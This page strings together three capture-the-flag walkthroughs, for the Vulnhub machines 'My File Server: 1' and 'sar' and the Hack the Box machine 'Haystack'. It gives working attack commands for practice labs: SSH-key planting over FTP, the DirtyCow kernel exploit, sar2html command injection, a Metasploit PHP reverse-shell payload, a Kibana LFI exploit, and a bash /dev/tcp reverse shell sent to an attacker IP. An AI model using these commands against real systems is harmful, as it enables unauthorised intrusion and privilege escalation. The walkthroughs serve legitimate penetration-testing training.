My File Server- 1: Vulnhub Walkthrough


Another walkthrough for the vulnhub machine “My File Server: 1” which is an easy lab designed by the author to give a taste to the OSCP Labs. The challenge is simple just like any other CTF challenge where you identify flag with the help of your pentest skill.
Penetration Testing Methodologies
Network Scan
·         Netdicover
·         Nmap
Enumeration
·         SMBMAP
·         Nikto
Exploit
·         Injectiong id_rsa.pub via FTP
·         Spwan PTY shell
Privlege Escalation
·         Kernel Exploit
·         Capture the Flag.

Walkthrough
Network Scanning
So, as we always start with netdiscover to get the IP of the VM machine and the IP of the host I’ve found is 192.168.29.123.


Let’s proceed with network scan using Nmap aggressive scan as given below.
nmap -p- -A 192.168.29.123


Enumeration
Hmmm! It was very interesting as I noticed that there were so many services running on the host network that was a good sign to us. We saw FTP's "anonymous login enabled" and port 445 was also available for SMB.


So, I ran the following command for SMB enumeration and identify a username as “smbuser”.

smbmap -H 192.168.29.123


We also explore the IP host in the web browser as port 80 has been opened for the HTTP service.


We're also trying to list web directories via directory brute force attack, but that didn't give any performance so I chose to run nikto for HTTP weak config listing, and luckily found an entry for "readme.txt," let's test this in the web browser.


Yeah! I think the author has kept this file as a clue that he wants to get the password by searching the readme.txt file.
So now I had the username "smbuser" and the password "rootroot1" and it was time to connect to the host machine via ssh, so I tried to use this cred for ssh login, but we got an error as connection timeout, which means that the username "smbuser" cannot connect to the host machine via ssh.


Exploit
Now time to generate some ssh keys, thus we used ssh-keygen to generate ssh public keys without password in our local machine i.e. KALI LINUX. Moving on after the key is created, we moved into the .ssh directory on our native shell, here we saw that we have the key named “id_rsa.pub”.


With the help of above enumerated creds “smbuser:rootroot1” we logged into FTP and create a folder as .ssh inside /home/smbuser, then try to upload the id_rsa.pub which we have generated in above mention step as authorized_keys  inside the .ssh directory.


Then I again tried to connect with SSH without using password and finally obtain the shell of the host machine and enumerated the OS kernel version.
So, I found it's a really old version of the kernel that's built here, so I'm trying to check for a piece of code to exploit, and luckily, I find it to be a DIRTYCOW exploit. So, I download a hack from Exploit-DB written in c.


Privilege Escalation
I downloaded the exploit inside the host machine, and then compiled it before running the exploit, so I ran the following commands.
gcc 40616.c -o raj -pthread
./raj

Booom! We the got root the shell by running ./raj and finally we obtain proof.txt file.
cat proof.txt
Conclusion: This was a really simple CTF machine for beginners, if you're planning for OSCP then you should start practicing this kind of challenge.

Sar: Vulnhub Walkthrough


Another walkthrough for the vulnhub machine "sar" which is an easy lab designed by the author to give a taste to the OSCP Labs. The challenge is simple just like any other CTF challenge where you identify two flags "user.txt" and "root.txt" with the help of your pentest skill.
Penetration Testing Methodologies

Network Scanning
·        Netdiscover
·        Nmap
Enumeration
·        Dirb
·        Exploit DB
·        Exploit
·        Metasploit for RCE
Privilege Escalation
·        Abusing Cronjob
·        Abusing Writable file permission

Walkthrough
Network Scanning
So, as we always start with netdiscover to get the IP of the VM machine and the IP of the host I've found is 192.168.29.212.
Let’s proceed with network scan using nmap aggressive scan as given below.
nmap -p- -A 192.168.29.212
hmmm!! So here I enumerate port 80 is only the single port open for HTTP service.

Enumeration
So I navigate to the web browser and explore the host IP and obtain the Apache default page.
Without wasting time, I run DIRB – for directory brute force attack for enumerating web directories and ran the following command:
Luckily, I found robots.txt is available which may help me to move ahead.

So I explored the url : http://192.168.29.212/robots.txt and found an entry for “sar2html” which is a web based frontend for performance monitoring. It converts sar binary data to graphical format and keep historical data in its library.
I've browsed /sar2html in the web browser, and the resulting web page displays its default configuration along with version disclosure, which might help me find the exploit if available on the internet.

So, I looked up for its exploit and fortunately got an exploit link from the Exploit DB. As a result, the installed application was vulnerable to remote code execution.


With the help of the exploit listed above, we tried to run some arbitrary command and, as shown in the image below, we were able to execute system commands through a web URL.
http://192.168.29.212/sar2html/index.php?plot=; tail ‘’/etc/passwd”
So, we try to run the URL above in the web browser to get the user account details and, as a result, we successfully get the desired output.

Exploit
It was time to exploit this vulnerability by spawning the host machine shell so we required to prepare a malicious php code with the help of the Metasploit “Web Delivery” Module.
use/exploit/multi/script/web_delivery
set target 1
set lhost 192.168.29.208
set lhost 4444
set payload php/meterpreter/reverse_tcp
exploit
This will generate a malicious php code which you’ll use for execution on the web url as done above.
So, I copied the above malicious code and paste it inside the URL to get the back connection of the host through the url execution.
Booom!!! We hit the goal and obtain the meterperter session the host machine, alone this we also find the 1st flag user.txt flag inside /home/love/Desktop.
Privilege Escalation
Now, to hunt for the final flag that would be inside the / root directory, we need to get a high privilege shell. We eventually searched for crontabs and found the bash script "finally.sh" to be executed along with sudo as cronjob for after every 5 minutes.
By peeping inside /var/www/html I found two bash scripts “finally.sh and write.sh” moreover the write.sh has ALL permissions to perform READ, WRITE and EXECUTE operation.


So, we read that finally.sh which is a bash script that will execute write.sh every 5 minutes as a cronjob. Now this was the moment when we could abuse the weak configuration of a cronjob on finally.sh that has a link to the write.sh script that has ALL permission.
cd /var/www/html
cat finally.sh
cat write.sh


Since we can abuse write.sh file to execute a malicious file, therefore as I use pentest-monkey: php_reverse_shell in order to obtain a high privilege shell via netcat session.


So, I download the shell.php file inside /var/www/html and execute following command to append a line inside the write.sh script to run the shell.php file.
On the other hand, I start the necat listener and then waiting for the reverse connection. Since we know that the cronjob was scheduled to run finally.sh script at the end of 5 mint, this may help us to get the root shell.
As a result, we got the netcat session as root and get the root.txt script, finished the task.

Hack the Box: Haystack Walkthrough


Today, we’re sharing another Hack Challenge Walkthrough box: Haystack design by JoyDragon and the machine is part of the retired lab, so you can connect to the machine using your HTB VPN and then start to solve the CTF.
The level of the Lab is set: Beginner to intermediate.
Task: Capture the user.txt and root.txt flags.
Penetration Testing
Network Scanning
·        Nmap
Enumeration
·        Abusing HTTP
·        Abusing elasticsearch
·        Base64 decode
Initial Foothold
·        SSH login
Exploiting
·        LFI on Kibana
Privilege Escalation
·        Abusing Execution function

Network Scanning
Since we know the victim's computer IP, we can begin with Nmap scanning to identify the open ports and services that run across it.
nmap -A 10.10.10.115
From this scanning test, we found port 80 & 9200 open to HTTP, and port 22 open to SSH as well. Moreover I find the HTTP method: DELETE is allow for nginx server at port 9200.


Enumeration
as we know enumeration is important, we search for port 80 and have found a picture on the web page. I download the image to test the metadata in the hope that the author might have concealed some hint inside the file.


Hmmmm! So, I found the bas64 code “bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==” through metadata extraction with the help of “string” command which is a Linux utility.
strings needle.jpg


Then decode the above extracted code with the help echo command:
echo “bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==” |base64 -d


By decoding the encoded text of base64 I got a text that was in Spanish. I found the original text "the needle in the haystack is key with the help of google translator.


Then we navigate to port 9200 and found it was elasticsearch as shown in the image.
According to its official description: Elasticsearch is the central component of the Elastic Stack, a set of open source tools for data ingestion, enrichment, storage, analysis, and visualization. Commonly referred to as the ELK Stack (after Elasticsearch, Logstash, and Kibana).


Then I explore more about this and found link that teaches an interesting technique to search for query and then search for clave that we have mentioned as "clave," implying "key," so I found two messages that were piped with base 64 encoded text in the Spanish again.
http://10.10.10.115:9200/_search?q=clave


So, I translated the Spanish text message: “Tengo que guardar la clave para la maquina” = “I have to save the password for the machine”


Further I decode the message “dXNlcjogc2VjdXJpdHkg” and found username “user: security
echo “dXNlcjogc2VjdXJpdHkg” | base64 -d


Similarly, I translated another text message “Esta clave no se puede perder, la guardo aca= “key cannot be lost, I keep it here”.


And then again decoded the base64 value which gave the password: “pass: spanish.is.key” for the username enumerated above.
echo “cGFzczogc3BhbmlzaC5pcy5rZXk” | base64 -d


Initial Foothold
Now it was time to connect via ssh with the host machine, using the credentials mentioned above.
ssh security@10.10.10.115
Finally! we got the shell of the host machine shell and obtain the user.txt flag. Further we check /etc/passwd file and note the record given for user “kibana”.


Then we checked for process run by kibana and found another service running over port 5601 on a localhost.
ps  aux | grep kibana


We use curl for exploring the service running on localhost via port 5061 and luckily found the installed version 6.4.2 of the kibana.
curl http://127.0.0.1:5601


Exploiting Kibana
Hmmm! So, it was time hunt for its exploit if available on the internet. Fruitfully we got an exploit from github and according to this exploit a Local File Inclusion on Kibana found by CyberArk Labs, the LFI can be used to execute a reverse shell on the Kibana server.
So, I just download the exploit code to my local machine and change the "attacker's Address" as shown in the image and save the file with the name "raj.js" It was time to transfer the exploit to the host machine and start the netcat listener that receives the host machine's reverse connection.


Now it was time to inject the payload on the vulnerable application, thus we downloaded the exploit “raj.js” into /tmp directory of the host machine.
curl -O http://10.10.14.12:8000/raj.js
curl http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/raj.js


Soon you will get the reverse connection of the host machine via netcat session as shown in the below image.
python -c ‘import pty;pty.spawn(“/bin/bash”)’
So, it was time to escalate privilege for user kibana and for this, we enumerate the proc running under kibana group with the help of find command.
find / -group kibana 2>/dev/null | grep -v proc
We found some three interesting .conf file: filter.conf, input.conf, output.conf at /etc/logstash.


Privilege Escalation
It was time to examine the file we found, so I investigate each file and conclude from each file the following remarks:
Filter.conf: This file is used to filter commands given by the execute function to print a message for the given command that will be executing.
Input.conf: Bundle the file which is by giving name as “/opt/kibana/logstash_*”
Output.conf: This will run execute function for the given command.


Thus, we run following command to get the reverse connection of the machine by saving the input in a file name as “logstash_raj” and wait for 10 sec to get the reverse connection on a new netcat listener.
echo "Ejecutar comando: bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'" > /opt/kibana/logstash_raj


Boom!! And after waiting for 10 sec we got the root privilege shell where we found our root flag.
cd /root
cat root.txt
I considered this to be a fascinating VM, where I learned a method of abusing "elasticsearch" and Kibana to escalate the shell of root privilege.